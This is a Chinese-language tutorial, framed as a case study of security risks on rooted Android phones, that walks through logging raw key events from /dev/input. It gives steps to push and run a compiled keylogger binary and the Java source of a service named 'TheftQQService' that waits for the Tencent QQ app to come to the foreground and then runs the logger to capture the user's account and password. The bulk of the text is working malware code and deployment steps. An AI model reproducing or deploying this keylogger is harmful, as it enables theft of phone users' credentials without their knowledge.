ROOT后的安全隐患案例一_键盘记录
/dev/input 里面记录了当前手机屏幕和按键键盘的事件状态. 可以发现是以c开头的,这个表示是驱动文件 |
1、查看/dev/input/event0 2、在cat event0时,在手机上输入字符,可以发现在屏幕上,出现了乱码,在按6和后退键的时候,还有声音 3、将key.c编译成key,然后导入到手机 >adb push key /data/data 4、修改权限 # chmod 777 key 5、然后运行,./key 6、然后在键盘按2出现两次1,因为按下和松手都算一次 7、打印出来的数字和usr/keyLayout/qwerty.kl中的映射相对应 |
核心代码: 1、将raw的key程序拷贝files目录 RootTools.installBinary(this, R.raw.key, "key"); 2、TheftQQService.java package cn.zengfansheng.theftqq;
import java.util.List;
import android.app.ActivityManager;
import android.app.ActivityManager.RunningTaskInfo;
import android.app.Service;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.os.IBinder;
import com.stericson.RootTools.RootTools;
/**
* 盗取qq的服务
* @author hacket
*/
public class TheftQQService extends Service {
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public void onCreate() {
super.onCreate();
final ActivityManager activityManager = (ActivityManager) this
.getSystemService(Context.ACTIVITY_SERVICE);
// 类似程序锁的看门狗服务
new Thread() {
public void run() {
// 1、监视手机任务栈,获取最前面的Activity
List<RunningTaskInfo> tasks = activityManager.getRunningTasks(1);//运行所有的tasks
RunningTaskInfo task = tasks.get(0);//获取第一个task
ComponentName topActivity = task.topActivity;// 获取task中栈顶的activity
// 2、如果当前栈顶是腾讯qq的进程com.tencent.qq
String packageName = topActivity.getPackageName();
if ("com.tencent.qq".equals(packageName)) {
// 3、运行key文件
String key = getFilesDir() + "key";
try {
List<String> list = RootTools.sendShell(key, 3000);
// 4、分析key运行后的结果,进行分析,就可以将qq和密码给盗取
} catch (Exception e) {
e.printStackTrace();
}
}
}
}.start();
}
@Override
public void onDestroy() {
super.onDestroy();
}
} |
问题: 这个key在android 4.1.2不能用了 |